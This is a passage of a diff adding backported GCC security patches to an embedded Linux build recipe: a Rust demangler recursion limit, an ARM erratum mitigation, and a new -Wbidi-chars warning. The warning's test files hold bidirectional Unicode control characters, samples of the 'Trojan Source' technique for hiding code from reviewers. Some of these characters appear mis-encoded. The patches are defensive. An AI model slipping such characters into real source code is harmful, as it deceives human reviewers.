++ issues, and thus that it will be helpful to the user if we show some
++ representation of how the characters in the pertinent source lines
++ are encoded.
++ The default is false (i.e. do not escape).
++ When set to true, non-ASCII bytes in the pertinent source lines will
++ be escaped in a manner controlled by the user-supplied option
++ -fdiagnostics-escape-format=, so that the user can better understand
++ what's going on with the encoding in their source file. */
++ bool escape_on_output_p () const { return m_escape_on_output; }
++ void set_escape_on_output (bool flag) { m_escape_on_output = flag; }
++
+ private:
+ bool reject_impossible_fixit (location_t where);
+ void stop_supporting_fixits ();
+@@ -1807,6 +1819,7 @@ protected:
+ bool m_fixits_cannot_be_auto_applied;
+
+ const diagnostic_path *m_path;
++ bool m_escape_on_output;
+ };
+
+ /* A struct for the result of range_label::get_text: a NUL-terminated buffer
+diff --git a/libcpp/internal.h b/libcpp/internal.h
+--- a/libcpp/internal.h 2021-12-13 23:23:05.768437079 -0800
++++ b/libcpp/internal.h 2021-12-14 01:16:01.557942991 -0800
+@@ -776,6 +776,9 @@ extern void _cpp_do_file_change (cpp_rea
+ extern void _cpp_pop_buffer (cpp_reader *);
+ extern char *_cpp_bracket_include (cpp_reader *);
+
++/* In errors.c */
++extern location_t cpp_diagnostic_get_current_location (cpp_reader *);
++
+ /* In traditional.c. */
+ extern bool _cpp_scan_out_logical_line (cpp_reader *, cpp_macro *, bool);
+ extern bool _cpp_read_logical_line_trad (cpp_reader *);
+@@ -942,6 +945,26 @@ int linemap_get_expansion_line (class li
+ const char* linemap_get_expansion_filename (class line_maps *,
+ location_t);
+
++/* A subclass of rich_location for emitting a diagnostic
++ at the current location of the reader, but flagging
++ it with set_escape_on_output (true). */
++class encoding_rich_location : public rich_location
++{
++ public:
++ encoding_rich_location (cpp_reader *pfile)
++ : rich_location (pfile->line_table,
++ cpp_diagnostic_get_current_location (pfile))
++ {
++ set_escape_on_output (true);
++ }
++
++ encoding_rich_location (cpp_reader *pfile, location_t loc)
++ : rich_location (pfile->line_table, loc)
++ {
++ set_escape_on_output (true);
++ }
++};
++
+ #ifdef __cplusplus
+ }
+ #endif
+diff --git a/libcpp/lex.c b/libcpp/lex.c
+--- a/libcpp/lex.c 2021-12-14 01:14:48.435225968 -0800
++++ b/libcpp/lex.c 2021-12-14 01:24:37.220995816 -0800
+@@ -1774,7 +1774,11 @@ skip_whitespace (cpp_reader *pfile, cppc
+ while (is_nvspace (c));
+
+ if (saw_NUL)
+- cpp_error (pfile, CPP_DL_WARNING, "null character(s) ignored");
++ {
++ encoding_rich_location rich_loc (pfile);
++ cpp_error_at (pfile, CPP_DL_WARNING, &rich_loc,
++ "null character(s) ignored");
++ }
+
+ buffer->cur--;
+ }
+@@ -1803,6 +1807,28 @@ warn_about_normalization (cpp_reader *pf
+ if (CPP_OPTION (pfile, warn_normalize) < NORMALIZE_STATE_RESULT (s)
+ && !pfile->state.skipping)
+ {
++ location_t loc = token->src_loc;
++
++ /* If possible, create a location range for the token. */
++ if (loc >= RESERVED_LOCATION_COUNT
++ && token->type != CPP_EOF
++ /* There must be no line notes to process. */
++ && (!(pfile->buffer->cur
++ >= pfile->buffer->notes[pfile->buffer->cur_note].pos
++ && !pfile->overlaid_buffer)))
++ {
++ source_range tok_range;
++ tok_range.m_start = loc;
++ tok_range.m_finish
++ = linemap_position_for_column (pfile->line_table,
++ CPP_BUF_COLUMN (pfile->buffer,
++ pfile->buffer->cur));
++ loc = COMBINE_LOCATION_DATA (pfile->line_table,
++ loc, tok_range, NULL);
++ }
++
++ encoding_rich_location rich_loc (pfile, loc);
++
+ /* Make sure that the token is printed using UCNs, even
+ if we'd otherwise happily print UTF-8. */
+ unsigned char *buf = XNEWVEC (unsigned char, cpp_token_len (token));
+@@ -1810,11 +1836,11 @@ warn_about_normalization (cpp_reader *pf
+
+ sz = cpp_spell_token (pfile, token, buf, false) - buf;
+ if (NORMALIZE_STATE_RESULT (s) == normalized_C)
+- cpp_warning_with_line (pfile, CPP_W_NORMALIZE, token->src_loc, 0,
+- "`%.*s' is not in NFKC", (int) sz, buf);
++ cpp_warning_at (pfile, CPP_W_NORMALIZE, &rich_loc,
++ "`%.*s' is not in NFKC", (int) sz, buf);
+ else
+- cpp_warning_with_line (pfile, CPP_W_NORMALIZE, token->src_loc, 0,
+- "`%.*s' is not in NFC", (int) sz, buf);
++ cpp_warning_at (pfile, CPP_W_NORMALIZE, &rich_loc,
++ "`%.*s' is not in NFC", (int) sz, buf);
+ free (buf);
+ }
+ }
+diff --git a/libcpp/line-map.c b/libcpp/line-map.c
+--- a/libcpp/line-map.c 2021-07-27 23:55:08.716307283 -0700
++++ b/libcpp/line-map.c 2021-12-14 01:16:01.561942921 -0800
+@@ -2086,7 +2086,8 @@ rich_location::rich_location (line_maps
+ m_fixit_hints (),
+ m_seen_impossible_fixit (false),
+ m_fixits_cannot_be_auto_applied (false),
+- m_path (NULL)
++ m_path (NULL),
++ m_escape_on_output (false)
+ {
+ add_range (loc, SHOW_RANGE_WITH_CARET, label);
+ }
diff --git a/meta/recipes-devtools/gcc/gcc/0001-CVE-2021-46195.patch b/meta/recipes-devtools/gcc/gcc/0001-CVE-2021-46195.patch
new file mode 100644
index 0000000000..7b3651c73e
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0001-CVE-2021-46195.patch
@@ -0,0 +1,128 @@
+From f10bec5ffa487ad3033ed5f38cfd0fc7d696deab Mon Sep 17 00:00:00 2001
+From: Nick Clifton <nickc@redhat.com>
+Date: Mon, 31 Jan 2022 14:28:42 +0000
+Subject: [PATCH] libiberty: Fix infinite recursion in rust demangler.
+
+libiberty/
+ PR demangler/98886
+ PR demangler/99935
+ * rust-demangle.c (struct rust_demangler): Add a recursion
+ counter.
+ (demangle_path): Increment/decrement the recursion counter upon
+ entry and exit. Fail if the counter exceeds a fixed limit.
+ (demangle_type): Likewise.
+ (rust_demangle_callback): Initialise the recursion counter,
+ disabling if requested by the option flags.
+
+CVE: CVE-2021-46195
+Upstream-Status: Backport
+[https://gcc.gnu.org/git/gitweb.cgi?p=gcc.git;h=f10bec5ffa487ad3033ed5f38cfd0fc7d696deab]
+Signed-off-by: Pgowda <pgowda.cve@gmail.com>
+---
+ libiberty/rust-demangle.c | 47 ++++++++++++++++++++++++++++++++++-----
+ 1 file changed, 41 insertions(+), 6 deletions(-)
+
+diff --git a/libiberty/rust-demangle.c b/libiberty/rust-demangle.c
+index 18c760491bd..3b24d63892a 100644
+--- a/libiberty/rust-demangle.c
++++ b/libiberty/rust-demangle.c
+@@ -74,6 +74,12 @@ struct rust_demangler
+ /* Rust mangling version, with legacy mangling being -1. */
+ int version;
+
++ /* Recursion depth. */
++ unsigned int recursion;
++ /* Maximum number of times demangle_path may be called recursively. */
++#define RUST_MAX_RECURSION_COUNT 1024
++#define RUST_NO_RECURSION_LIMIT ((unsigned int) -1)
++
+ uint64_t bound_lifetime_depth;
+ };
+
+@@ -671,6 +677,15 @@ demangle_path (struct rust_demangler *rdm, int in_value)
+ if (rdm->errored)
+ return;
+
++ if (rdm->recursion != RUST_NO_RECURSION_LIMIT)
++ {
++ ++ rdm->recursion;
++ if (rdm->recursion > RUST_MAX_RECURSION_COUNT)
++ /* FIXME: There ought to be a way to report
++ that the recursion limit has been reached. */
++ goto fail_return;
++ }
++
+ switch (tag = next (rdm))
+ {
+ case 'C':
+@@ -688,10 +703,7 @@ demangle_path (struct rust_demangler *rdm, int in_value)
+ case 'N':
+ ns = next (rdm);
+ if (!ISLOWER (ns) && !ISUPPER (ns))
+- {
+- rdm->errored = 1;
+- return;
+- }
++ goto fail_return;
+
+ demangle_path (rdm, in_value);
+
+@@ -776,9 +788,15 @@ demangle_path (struct rust_demangler *rdm, int in_value)
+ }
+ break;
+ default:
+- rdm->errored = 1;
+- return;
++ goto fail_return;
+ }
++ goto pass_return;
++
++ fail_return:
++ rdm->errored = 1;
++ pass_return:
++ if (rdm->recursion != RUST_NO_RECURSION_LIMIT)
++ -- rdm->recursion;
+ }
+
+ static void
+@@ -870,6 +888,19 @@ demangle_type (struct rust_demangler *rdm)
+ return;
+ }
+
++ if (rdm->recursion != RUST_NO_RECURSION_LIMIT)
++ {
++ ++ rdm->recursion;
++ if (rdm->recursion > RUST_MAX_RECURSION_COUNT)
++ /* FIXME: There ought to be a way to report
++ that the recursion limit has been reached. */
++ {
++ rdm->errored = 1;
++ -- rdm->recursion;
++ return;
++ }
++ }
++
+ switch (tag)
+ {
+ case 'R':
+@@ -1030,6 +1061,9 @@ demangle_type (struct rust_demangler *rdm)
+ rdm->next--;
+ demangle_path (rdm, 0);
+ }
++
++ if (rdm->recursion != RUST_NO_RECURSION_LIMIT)
++ -- rdm->recursion;
+ }
+
+ /* A trait in a trait object may have some "existential projections"
+@@ -1320,6 +1354,7 @@ rust_demangle_callback (const char *mangled, int options,
+ rdm.skipping_printing = 0;
+ rdm.verbose = (options & DMGL_VERBOSE) != 0;
+ rdm.version = 0;
++ rdm.recursion = (options & DMGL_NO_RECURSE_LIMIT) ? RUST_NO_RECURSION_LIMIT : 0;
+ rdm.bound_lifetime_depth = 0;
+
+ /* Rust symbols always start with _R (v0) or _ZN (legacy). */
+--
+2.27.0
+
diff --git a/meta/recipes-devtools/gcc/gcc/0001-Fix-install-path-of-linux64.h.patch b/meta/recipes-devtools/gcc/gcc/0001-Fix-install-path-of-linux64.h.patch
new file mode 100644
index 0000000000..5bf895d6e7
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0001-Fix-install-path-of-linux64.h.patch
@@ -0,0 +1,33 @@
+From 58211c7ceb0510b2a11a7f1da3c7fa968c658749 Mon Sep 17 00:00:00 2001
+From: Andrei Gherzan <andrei.gherzan@huawei.com>
+Date: Wed, 22 Dec 2021 12:49:25 +0100
+Subject: [PATCH] Fix install path of linux64.h
+
+We add linux64.h to tm includes[1] as a relative path to B. This patch
+adapts the install path of linux64.h to match the include in tm.h.
+
+[1] 0016-Use-the-multilib-config-files-from-B-instead-of-usin.patch
+
+Signed-off-by: Andrei Gherzan <andrei.gherzan@huawei.com>
+
+Upstream-Status: Inappropriate [configuration]
+---
+ gcc/Makefile.in | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/gcc/Makefile.in b/gcc/Makefile.in
+index 9b17d120a..d175ec4e3 100644
+--- a/gcc/Makefile.in
++++ b/gcc/Makefile.in
+@@ -3693,6 +3693,8 @@ install-plugin: installdirs lang.install-plugin s-header-vars install-gengtype
+ "$(srcdir)"/config/* | "$(srcdir)"/common/config/* \
+ | "$(srcdir)"/c-family/* | "$(srcdir)"/*.def ) \
+ base=`echo "$$path" | sed -e "s|$$srcdirstrip/||"`;; \
++ */linux64.h ) \
++ base=`dirname $$path`;;\
+ *) base=`basename $$path` ;; \
+ esac; \
+ dest=$(plugin_includedir)/$$base; \
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/gcc/gcc-9.2/0001-gcc-4.3.1-ARCH_FLAGS_FOR_TARGET.patch b/meta/recipes-devtools/gcc/gcc/0001-gcc-4.3.1-ARCH_FLAGS_FOR_TARGET.patch
index 9065c304b5..0a108ee51b 100644
--- a/meta/recipes-devtools/gcc/gcc-9.2/0001-gcc-4.3.1-ARCH_FLAGS_FOR_TARGET.patch
+++ b/meta/recipes-devtools/gcc/gcc/0001-gcc-4.3.1-ARCH_FLAGS_FOR_TARGET.patch
@@ -1,7 +1,7 @@
-From 863325ec3c6eb4987be63509ac407b2d13617342 Mon Sep 17 00:00:00 2001
+From 368eaf1846733a9920c7cf5bc547a377e7167785 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Fri, 29 Mar 2013 08:37:11 +0400
-Subject: [PATCH 01/36] gcc-4.3.1: ARCH_FLAGS_FOR_TARGET
+Subject: [PATCH] gcc-4.3.1: ARCH_FLAGS_FOR_TARGET
Signed-off-by: Khem Raj <raj.khem@gmail.com>
@@ -12,10 +12,10 @@ Upstream-Status: Inappropriate [embedded specific]
2 files changed, 2 insertions(+), 2 deletions(-)
diff --git a/configure b/configure
-index abd93a990a9..b121088d778 100755
+index 504f6410274..bcebad264ec 100755
--- a/configure
+++ b/configure
-@@ -7603,7 +7603,7 @@ fi
+@@ -9728,7 +9728,7 @@ fi
# for target_alias and gcc doesn't manage it consistently.
target_configargs="--cache-file=./config.cache ${target_configargs}"
@@ -25,10 +25,10 @@ index abd93a990a9..b121088d778 100755
*" newlib "*)
case " $target_configargs " in
diff --git a/configure.ac b/configure.ac
-index 9db4fd14aa2..aad93c4d183 100644
+index 088e735c5db..1289fe08760 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -3119,7 +3119,7 @@ fi
+@@ -3240,7 +3240,7 @@ fi
# for target_alias and gcc doesn't manage it consistently.
target_configargs="--cache-file=./config.cache ${target_configargs}"
@@ -37,6 +37,3 @@ index 9db4fd14aa2..aad93c4d183 100644
case " $target_configdirs " in
*" newlib "*)
case " $target_configargs " in
---
-2.22.1
-
diff --git a/meta/recipes-devtools/gcc/gcc/0002-CVE-2021-35465.patch b/meta/recipes-devtools/gcc/gcc/0002-CVE-2021-35465.patch
new file mode 100644
index 0000000000..e09818fecf
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0002-CVE-2021-35465.patch
@@ -0,0 +1,39 @@
+From 574e7950bd6b34e9e2cacce18c802b45505d1d0a Mon Sep 17 00:00:00 2001
+From: Richard Earnshaw <rearnsha@arm.com>
+Date: Fri, 18 Jun 2021 17:16:25 +0100
+Subject: [PATCH] arm: add erratum mitigation to __gnu_cmse_nonsecure_call
+ [PR102035]
+
+Add the recommended erratum mitigation sequence to
+__gnu_cmse_nonsecure_call for use on Armv8-m.main devices. Since this
+is in the library code we cannot know in advance whether the core we
+are running on will be affected by this, so always enable it.
+
+libgcc:
+ PR target/102035
+ * config/arm/cmse_nonsecure_call.S (__gnu_cmse_nonsecure_call):
+ Add vlldm erratum work-around.
+
+CVE: CVE-2021-35465
+Upstream-Status: Backport [https://gcc.gnu.org/git/gitweb.cgi?p=gcc.git;h=574e7950bd6b34e9e2cacce18c802b45505d1d0a]
+Signed-off-by: Pgowda <pgowda.cve@gmail.com>
+
+---
+ libgcc/config/arm/cmse_nonsecure_call.S | 5 +++++
+ 1 file changed, 5 insertions(+)
+
+diff --git a/libgcc/config/arm/cmse_nonsecure_call.S b/libgcc/config/arm/cmse_nonsecure_call.S
+--- a/libgcc/config/arm/cmse_nonsecure_call.S
++++ b/libgcc/config/arm/cmse_nonsecure_call.S
+@@ -102,6 +102,11 @@ blxns r4
+ #ifdef __ARM_PCS_VFP
+ vpop.f64 {d8-d15}
+ #else
++/* VLLDM erratum mitigation sequence. */
++mrs r5, control
++tst r5, #8 /* CONTROL_S.SFPA */
++it ne
++.inst.w 0xeeb00a40 /* vmovne s0, s0 */
+ vlldm sp /* Lazy restore of d0-d16 and FPSCR. */
+ add sp, sp, #0x88 /* Free space used to save floating point registers. */
+ #endif /* __ARM_PCS_VFP */
diff --git a/meta/recipes-devtools/gcc/gcc/0002-CVE-2021-42574.patch b/meta/recipes-devtools/gcc/gcc/0002-CVE-2021-42574.patch
new file mode 100644
index 0000000000..9bad81d4d0
--- /dev/null
+++ b/meta/recipes-devtools/gcc/gcc/0002-CVE-2021-42574.patch
@@ -0,0 +1,1765 @@
+From 51c500269bf53749b107807d84271385fad35628 Mon Sep 17 00:00:00 2001
+From: Marek Polacek <polacek@redhat.com>
+Date: Wed, 6 Oct 2021 14:33:59 -0400
+Subject: [PATCH] libcpp: Implement -Wbidi-chars for CVE-2021-42574 [PR103026]
+
+From a link below:
+"An issue was discovered in the Bidirectional Algorithm in the Unicode
+Specification through 14.0. It permits the visual reordering of
+characters via control sequences, which can be used to craft source code
+that renders different logic than the logical ordering of tokens
+ingested by compilers and interpreters. Adversaries can leverage this to
+encode source code for compilers accepting Unicode such that targeted
+vulnerabilities are introduced invisibly to human reviewers."
+
+More info:
+https://nvd.nist.gov/vuln/detail/CVE-2021-42574
+https://trojansource.codes/
+
+This is not a compiler bug. However, to mitigate the problem, this patch
+implements -Wbidi-chars=[none|unpaired|any] to warn about possibly
+misleading Unicode bidirectional control characters the preprocessor may
+encounter.
+
+The default is =unpaired, which warns about improperly terminated
+bidirectional control characters; e.g. a LRE without its corresponding PDF.
+The level =any warns about any use of bidirectional control characters.
+
+This patch handles both UCNs and UTF-8 characters. UCNs designating
+bidi characters in identifiers are accepted since r204886. Then r217144
+enabled -fextended-identifiers by default. Extended characters in C/C++
+identifiers have been accepted since r275979. However, this patch still
+warns about mixing UTF-8 and UCN bidi characters; there seems to be no
+good reason to allow mixing them.
+
+We warn in different contexts: comments (both C and C++-style), string
+literals, character constants, and identifiers. Expectedly, UCNs are ignored
+in comments and raw string literals. The bidirectional control characters
+can nest so this patch handles that as well.
+
+I have not included nor tested this at all with Fortran (which also has
+string literals and line comments).
+
+Dave M. posted patches improving diagnostic involving Unicode characters.
+This patch does not make use of this new infrastructure yet.
+
+ PR preprocessor/103026
+
+gcc/c-family/ChangeLog:
+
+ * c.opt (Wbidi-chars, Wbidi-chars=): New option.
+
+gcc/ChangeLog:
+
+ * doc/invoke.texi: Document -Wbidi-chars.
+
+libcpp/ChangeLog:
+
+ * include/cpplib.h (enum cpp_bidirectional_level): New.
+ (struct cpp_options): Add cpp_warn_bidirectional.
+ (enum cpp_warning_reason): Add CPP_W_BIDIRECTIONAL.
+ * internal.h (struct cpp_reader): Add warn_bidi_p member
+ function.
+ * init.c (cpp_create_reader): Set cpp_warn_bidirectional.
+ * lex.c (bidi): New namespace.
+ (get_bidi_utf8): New function.
+ (get_bidi_ucn): Likewise.
+ (maybe_warn_bidi_on_close): Likewise.
+ (maybe_warn_bidi_on_char): Likewise.
+ (_cpp_skip_block_comment): Implement warning about bidirectional
+ control characters.
+ (skip_line_comment): Likewise.
+ (forms_identifier_p): Likewise.
+ (lex_identifier): Likewise.
+ (lex_string): Likewise.
+ (lex_raw_string): Likewise.
+
+gcc/testsuite/ChangeLog:
+
+ * c-c++-common/Wbidi-chars-1.c: New test.
+ * c-c++-common/Wbidi-chars-2.c: New test.
+ * c-c++-common/Wbidi-chars-3.c: New test.
+ * c-c++-common/Wbidi-chars-4.c: New test.
+ * c-c++-common/Wbidi-chars-5.c: New test.
+ * c-c++-common/Wbidi-chars-6.c: New test.
+ * c-c++-common/Wbidi-chars-7.c: New test.
+ * c-c++-common/Wbidi-chars-8.c: New test.
+ * c-c++-common/Wbidi-chars-9.c: New test.
+ * c-c++-common/Wbidi-chars-10.c: New test.
+ * c-c++-common/Wbidi-chars-11.c: New test.
+ * c-c++-common/Wbidi-chars-12.c: New test.
+ * c-c++-common/Wbidi-chars-13.c: New test.
+ * c-c++-common/Wbidi-chars-14.c: New test.
+ * c-c++-common/Wbidi-chars-15.c: New test.
+ * c-c++-common/Wbidi-chars-16.c: New test.
+ * c-c++-common/Wbidi-chars-17.c: New test.
+
+CVE: CVE-2021-42574
+Upstream-Status: Backport [https://gcc.gnu.org/git/gitweb.cgi?p=gcc.git;h=51c500269bf53749b107807d84271385fad35628]
+Signed-off-by: Pgowda <pgowda.cve@gmail.com>
+
+---
+ gcc/c-family/c.opt | 24 ++
+ gcc/doc/invoke.texi | 21 +-
+ gcc/testsuite/c-c++-common/Wbidi-chars-1.c | 12 +
+ gcc/testsuite/c-c++-common/Wbidi-chars-10.c | 27 ++
+ gcc/testsuite/c-c++-common/Wbidi-chars-11.c | 13 +
+ gcc/testsuite/c-c++-common/Wbidi-chars-12.c | 19 +
+ gcc/testsuite/c-c++-common/Wbidi-chars-13.c | 17 +
+ gcc/testsuite/c-c++-common/Wbidi-chars-14.c | 38 ++
+ gcc/testsuite/c-c++-common/Wbidi-chars-15.c | 59 +++
+ gcc/testsuite/c-c++-common/Wbidi-chars-16.c | 26 ++
+ gcc/testsuite/c-c++-common/Wbidi-chars-17.c | 30 ++
+ gcc/testsuite/c-c++-common/Wbidi-chars-2.c | 9 +
+ gcc/testsuite/c-c++-common/Wbidi-chars-3.c | 11 +
+ gcc/testsuite/c-c++-common/Wbidi-chars-4.c | 188 +++++++++
+ gcc/testsuite/c-c++-common/Wbidi-chars-5.c | 188 +++++++++
+ gcc/testsuite/c-c++-common/Wbidi-chars-6.c | 155 ++++++++
+ gcc/testsuite/c-c++-common/Wbidi-chars-7.c | 9 +
+ gcc/testsuite/c-c++-common/Wbidi-chars-8.c | 13 +
+ gcc/testsuite/c-c++-common/Wbidi-chars-9.c | 29 ++
+ libcpp/include/cpplib.h | 18 +-
+ libcpp/init.c | 1 +
+ libcpp/internal.h | 7 +
+ libcpp/lex.c | 408 +++++++++++++++++++-
+ 23 files changed, 1315 insertions(+), 7 deletions(-)
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-1.c
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-10.c
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-11.c
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-12.c
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-13.c
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-14.c
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-15.c
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-16.c
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-17.c
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-2.c
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-3.c
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-4.c
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-5.c
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-6.c
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-7.c
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-8.c
+ create mode 100644 gcc/testsuite/c-c++-common/Wbidi-chars-9.c
+
+diff --git a/gcc/c-family/c.opt b/gcc/c-family/c.opt
+index 8a4cd634f77..3976fc368db 100644
+--- a/gcc/c-family/c.opt
++++ b/gcc/c-family/c.opt
+@@ -370,6 +370,30 @@ Wbad-function-cast
+ C ObjC Var(warn_bad_function_cast) Warning
+ Warn about casting functions to incompatible types.
+
++Wbidi-chars
++C ObjC C++ ObjC++ Warning Alias(Wbidi-chars=,any,none)
++;
++
++Wbidi-chars=
++C ObjC C++ ObjC++ RejectNegative Joined Warning CPP(cpp_warn_bidirectional) CppReason(CPP_W_BIDIRECTIONAL) Var(warn_bidirectional) Init(bidirectional_unpaired) Enum(cpp_bidirectional_level)
++-Wbidi-chars=[none|unpaired|any] Warn about UTF-8 bidirectional control characters.
++
++; Required for these enum values.
++SourceInclude
++cpplib.h
++
++Enum
++Name(cpp_bidirectional_level) Type(int) UnknownError(argument %qs to %<-Wbidi-chars%> not recognized)
++
++EnumValue
++Enum(cpp_bidirectional_level) String(none) Value(bidirectional_none)
++
++EnumValue
++Enum(cpp_bidirectional_level) String(unpaired) Value(bidirectional_unpaired)
++
++EnumValue
++Enum(cpp_bidirectional_level) String(any) Value(bidirectional_any)
++
+ Wbool-compare
+ C ObjC C++ ObjC++ Var(warn_bool_compare) Warning LangEnabledBy(C ObjC C++ ObjC++,Wall)
+ Warn about boolean expression compared with an integer value different from true/false.
+diff --git a/gcc/doc/invoke.texi b/gcc/doc/invoke.texi
+index 6070288856c..a22758d18ee 100644
+--- a/gcc/doc/invoke.texi
++++ b/gcc/doc/invoke.texi
+@@ -326,7 +326,9 @@ Objective-C and Objective-C++ Dialects}.
+ -Warith-conversion @gol
+ -Warray-bounds -Warray-bounds=@var{n} @gol
+ -Wno-attributes -Wattribute-alias=@var{n} -Wno-attribute-alias @gol
+--Wno-attribute-warning -Wbool-compare -Wbool-operation @gol
++-Wno-attribute-warning @gol
++-Wbidi-chars=@r{[}none@r{|}unpaired@r{|}any@r{]} @gol
++-Wbool-compare -Wbool-operation @gol
+ -Wno-builtin-declaration-mismatch @gol
+ -Wno-builtin-macro-redefined -Wc90-c99-compat -Wc99-c11-compat @gol
+ -Wc11-c2x-compat @gol
+@@ -7559,6 +7561,23 @@ Attributes considered include @code{allo
+ This is the default. You can disable these warnings with either
+ @option{-Wno-attribute-alias} or @option{-Wattribute-alias=0}.
+
++@item -Wbidi-chars=@r{[}none@r{|}unpaired@r{|}any@r{]}
++@opindex Wbidi-chars=
++@opindex Wbidi-chars
++@opindex Wno-bidi-chars
++Warn about possibly misleading UTF-8 bidirectional control characters in
++comments, string literals, character constants, and identifiers. Such
++characters can change left-to-right writing direction into right-to-left
++(and vice versa), which can cause confusion between the logical order and
++visual order. This may be dangerous; for instance, it may seem that a piece
++of code is not commented out, whereas it in fact is.
++
++There are three levels of warning supported by GCC@. The default is
++@option{-Wbidi-chars=unpaired}, which warns about improperly terminated
++bidi contexts. @option{-Wbidi-chars=none} turns the warning off.
++@option{-Wbidi-chars=any} warns about any use of bidirectional control
++characters.
++
+ @item -Wbool-compare
+ @opindex Wno-bool-compare
+ @opindex Wbool-compare
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-10.c b/gcc/testsuite/c-c++-common/Wbidi-chars-10.c
+new file mode 100644
+index 00000000000..34f5ac19271
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-10.c
+@@ -0,0 +1,27 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile } */
++/* { dg-options "-Wbidi-chars=unpaired" } */
++/* More nesting testing. */
++
++/* RLEâ« LRI⦠PDF⬠PDIâ©*/
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int LRE_\u202a_PDF_\u202c;
++int LRE_\u202a_PDF_\u202c_LRE_\u202a_PDF_\u202c;
++int LRE_\u202a_LRI_\u2066_PDF_\u202c_PDI_\u2069;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int RLE_\u202b_RLI_\u2067_PDF_\u202c_PDI_\u2069;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int RLE_\u202b_RLI_\u2067_PDI_\u2069_PDF_\u202c;
++int FSI_\u2068_LRO_\u202d_PDI_\u2069_PDF_\u202c;
++int FSI_\u2068;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int FSI_\u2068_PDI_\u2069;
++int FSI_\u2068_FSI_\u2068_PDI_\u2069;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int RLI_\u2067_RLI_\u2067_RLI_\u2067_RLI_\u2067_RLI_\u2067_RLI_\u2067_RLI_\u2067_PDI_\u2069_PDI_\u2069_PDI_\u2069_PDI_\u2069_PDI_\u2069_PDI_\u2069_PDI_\u2069;
++int RLI_\u2067_RLI_\u2067_RLI_\u2067_RLI_\u2067_RLI_\u2067_RLI_\u2067_RLI_\u2067_PDI_\u2069_PDI_\u2069_PDI_\u2069_PDI_\u2069_PDI_\u2069_PDI_\u2069;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int RLI_\u2067_RLI_\u2067_RLI_\u2067_RLI_\u2067_RLI_\u2067_RLI_\u2067_RLI_\u2067_PDI_\u2069_PDI_\u2069_PDI_\u2069_PDI_\u2069_PDI_\u2069_PDI_\u2069_PDF_\u202c;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
++int RLI_\u2067_RLI_\u2067_RLI_\u2067_RLI_\u2067_FSI_\u2068_PDI_\u2069_PDI_\u2069_PDI_\u2069_PDI_\u2069;
++/* { dg-warning "unpaired" "" { target *-*-* } .-1 } */
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-11.c b/gcc/testsuite/c-c++-common/Wbidi-chars-11.c
+new file mode 100644
+index 00000000000..270ce2368a9
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-11.c
+@@ -0,0 +1,13 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile } */
++/* { dg-options "-Wbidi-chars=unpaired" } */
++/* Test that we warn when mixing UCN and UTF-8. */
++
++int LRE_âª_PDF_\u202c;
++/* { dg-warning "mismatch" "" { target *-*-* } .-1 } */
++int LRE_\u202a_PDF_â¬_;
++/* { dg-warning "mismatch" "" { target *-*-* } .-1 } */
++const char *s1 = "LRE_âª_PDF_\u202c";
++/* { dg-warning "mismatch" "" { target *-*-* } .-1 } */
++const char *s2 = "LRE_\u202a_PDF_â¬";
++/* { dg-warning "mismatch" "" { target *-*-* } .-1 } */
+diff --git a/gcc/testsuite/c-c++-common/Wbidi-chars-12.c b/gcc/testsuite/c-c++-common/Wbidi-chars-12.c
+new file mode 100644
+index 00000000000..b07eec1da91
+--- /dev/null
++++ b/gcc/testsuite/c-c++-common/Wbidi-chars-12.c
+@@ -0,0 +1,19 @@
++/* PR preprocessor/103026 */
++/* { dg-do compile { target { c || c++11 } } } */
++/* { dg-options "-Wbidi-chars=any" } */
++/* Test raw strings. */
++
++const char *s1 = R"(a b c LRE⪠1 2 3 PDF⬠x y z)";
++/* { dg-warning "U\\+202A" "" { target *-*-* } .-1 } */
++const char *s2 = R"(a b c RLE⫠1 2 3 PDF⬠x y z)";
++/* { dg-warning "U\\+202B" "" { target *-*-* } .-1 } */
++const char *s3 = R"(a b c LRO⭠1 2 3 PDF⬠x y z)";
++/* { dg-warning "U\\+202D" "" { target *-*-* } .-1 } */
++const char *s4 = R"(a b c RLO⮠1 2 3 PDF⬠x y z)";
++/* { dg-warning "U\\+202E" "" { target *-*-* } .-1 } */
++const char *s7 = R"(a b c FSI⨠1 2 3 PDI⩠x y) z";
++/* { dg-warning "U\\+2068" "" { target *-*-* } .-1 } */
++const char *s8 = R"(a b c PDIâ© x y )z";
++/* { dg-warning "U\\+2069" "" { target *-*-* } .-1 } */
